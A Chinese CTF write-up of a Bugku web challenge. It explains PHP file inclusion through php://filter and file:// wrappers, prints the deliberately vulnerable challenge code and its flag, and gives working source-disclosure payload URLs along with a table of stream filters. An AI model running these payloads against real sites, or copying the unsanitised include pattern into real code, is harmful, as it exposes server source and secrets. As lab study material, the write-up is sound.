安全-php://filter文件包含分析(bugku)

Posted 小狐狸FM

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-php://filter文件包含分析(bugku)相关的知识,希望对你有一定的参考价值。

前言

学习一下php伪协议php://filterfile://php://可以看成和file://平级的

参考

PHP:iconv-Manual

PHP:php://-Manual

PHP:stristr-Manual

PHP:strstr-Manual

谈一谈php://filter的妙用

PHP:可用过滤器列表-Manual

PHP:支持的协议和封装协议-Manual

探索php://filter在实战当中的奇技淫巧

一、题目

原题链接

二、WriteUp

使用到了文件包含漏洞,可以使用下方的payload读取index.php的源码

http://IP/index.php
?file=php://filter/read=convert.base64-encode/resource=index.php

得到的是index.php文件的base64编码结果,到base64在线网站解密一下即可得到源码,flag就在源码里面

三、伪协议分析

[1]. 本地复现

题目的代码如下,可以在本地复现分析分析

<html>
<title>Bugku-web</title>

<?php
error_reporting(0);
if(!$_GET[file])echo '<a href="./index.php?file=show.php">click me? no</a>';
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data"))
    echo "Oh no!";
    exit();

include($file);
//flag:flag1d60c09e207bee5741b6d7243d8ecaa9
?>
</html>

注释如下

有用的代码如下

<?php
error_reporting(0);//不显示错误提示
$file=$_GET['file'];//传参
include($file);//文件包含
?>
  • 除了php://fileter外还可以使用file://来读取文件
  • file://不需要传readresource这样的参数,但是后面需要接绝对路径
  • file://如果包含的是一个php文件时,就会直接执行php脚本而不是像文本一样打印到浏览器
http://127.0.01/index.php?file=file://C:\\t.txt


[2]. 构造过滤器

然后是php://filter,要读取的文件名是index.php就用resource=index.php

read是用来写输出的方式,试过了除base64加密的过滤器都没法读取文件,不清楚为什么
read=convert.base64-encode

过滤器类型过滤器介绍
字符串过滤器string.rot13ROT13加密/解密(凯撒密码的变种),因为字母共26个
假设明文是a,由a往后移动13位是n,所以n再往后移动13位又变回a
字符串过滤器string.tolower小写转换
字符串过滤器string.toupper大写转换
字符串过滤器string.strip_tags(自 PHP 7.3.0 起废弃)去除html和php标记
转换过滤器convert.base64-encodebase64加密
转换过滤器convert.base64-decodebase64解密
转换过滤器convert.quoted-printable-encodequoted-printable加密,常用在电子邮件中,是MIME编码常见一种表示方法
转换过滤器convert.quoted-printable-decodequoted-printable解密,常用在电子邮件中,是MIME编码常见一种表示方法
转换过滤器convert.iconv.*和iconv函数一样,用来字符编码转换的
格式1:convert.iconv.input-encoding.output-encoding
格式2:convert.iconv.input-encoding/output-encoding
input-encoding是输入的编码,output-encoding是输出的编码
压缩过滤器zlib.deflate压缩
压缩过滤器zlib.inflate解压
压缩过滤器bzip2.compress压缩
压缩过滤器bzip2.decompress解压
加密过滤器mcrypt.*(自PHP 7.1.0 起废弃)使用 libmcrypt ,提供了对称的加密
格式:mcrypt.ciphername,其中 ciphername是密码的名字
加密过滤器mdecrypt.*(自PHP 7.1.0 起废弃)使用 libmcrypt ,提供了对称的解密
格式:mdecrypt.ciphername,其中 ciphername是密码的名字

readresource两个参数需要使用斜杠进行分隔

http://localhost/index.php/?file=php://filter/read=convert.base64-encode/resource=index.php

如果需要再base64加密一次,就使用管道符|将两个过滤器分隔开,需要加密几次就放几个过滤器

http://localhost/index.php/?file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=index.php

以上是关于安全-php://filter文件包含分析(bugku)的主要内容,如果未能解决你的问题,请参考以下文章

七伤拳:Web安全之文件包含漏洞专题—第六天

文件包含CTF题目

bugku-writeup-web-文件包含

文件包含lfi

[BUUOJ记录] [ACTF2020 新生赛]Include

[PHP底层]关于php://filter的分析